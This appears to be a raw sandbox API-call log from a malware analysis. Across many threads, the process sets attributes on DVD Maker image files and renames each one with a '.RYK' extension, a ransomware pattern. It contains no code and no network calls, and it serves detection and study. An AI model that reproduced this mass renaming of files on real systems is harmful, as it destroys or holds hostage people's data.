	[0227.128] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.260] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 851
	os_tid = 0x1058

	[0226.964] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png", dwFileAttributes=0x80) returned 0
	[0227.128] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.258] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 852
	os_tid = 0x1264

	[0226.966] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png", dwFileAttributes=0x80) returned 0
	[0227.128] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.254] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 853
	os_tid = 0xa00

	[0226.968] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png", dwFileAttributes=0x80) returned 0
	[0227.129] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.252] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 854
	os_tid = 0x1150

	[0226.969] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0227.129] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.251] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 855
	os_tid = 0x1188

	[0226.971] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png", dwFileAttributes=0x80) returned 0
	[0227.130] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 856
	os_tid = 0xdd4

	[0226.972] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png", dwFileAttributes=0x80) returned 0
	[0227.130] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.248] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 857
	os_tid = 0x1054

	[0226.974] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png", dwFileAttributes=0x80) returned 0
	[0227.131] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 858
	os_tid = 0x10f0

	[0227.133] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png", dwFileAttributes=0x80) returned 0
	[0227.133] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.134] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 879
	os_tid = 0x1198


Thread:
	id = 880
	os_tid = 0x5ec

	[0227.135] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png", dwFileAttributes=0x80) returned 0
	[0227.136] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 881
	os_tid = 0x1244

	[0227.137] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0227.137] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 882
	os_tid = 0x660

	[0227.139] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png", dwFileAttributes=0x80) returned 0
	[0227.264] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.361] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 883
	os_tid = 0x1144

	[0227.140] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png", dwFileAttributes=0x80) returned 0
	[0227.264] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 884
	os_tid = 0x10b0

	[0227.142] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png", dwFileAttributes=0x80) returned 0
	[0227.264] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.352] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 885
	os_tid = 0xb90

	[0227.143] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png", dwFileAttributes=0x80) returned 0
	[0227.265] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.351] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 886
	os_tid = 0x11e0

	[0227.144] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png", dwFileAttributes=0x80) returned 0
	[0227.266] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.266] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.266] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 951
	os_tid = 0x1500

	[0227.534] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png", dwFileAttributes=0x80) returned 0
	[0227.534] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.535] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 952
	os_tid = 0x1504

	[0227.536] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0227.536] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.537] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 953
	os_tid = 0x1508

	[0227.538] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.538] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 954
	os_tid = 0x150c

	[0227.540] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0227.540] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 955
	os_tid = 0x1510

	[0227.542] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.542] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.542] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 956
	os_tid = 0x1514

	[0227.544] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0227.544] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.544] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 957
	os_tid = 0x1518

	[0227.545] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.546] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.546] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 958
	os_tid = 0x151c

	[0227.548] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0227.548] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.548] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 959
	os_tid = 0x1520

	[0227.686] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0227.690] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.699] CloseHandle (hObject=0xffffffffffffffff) returned 0
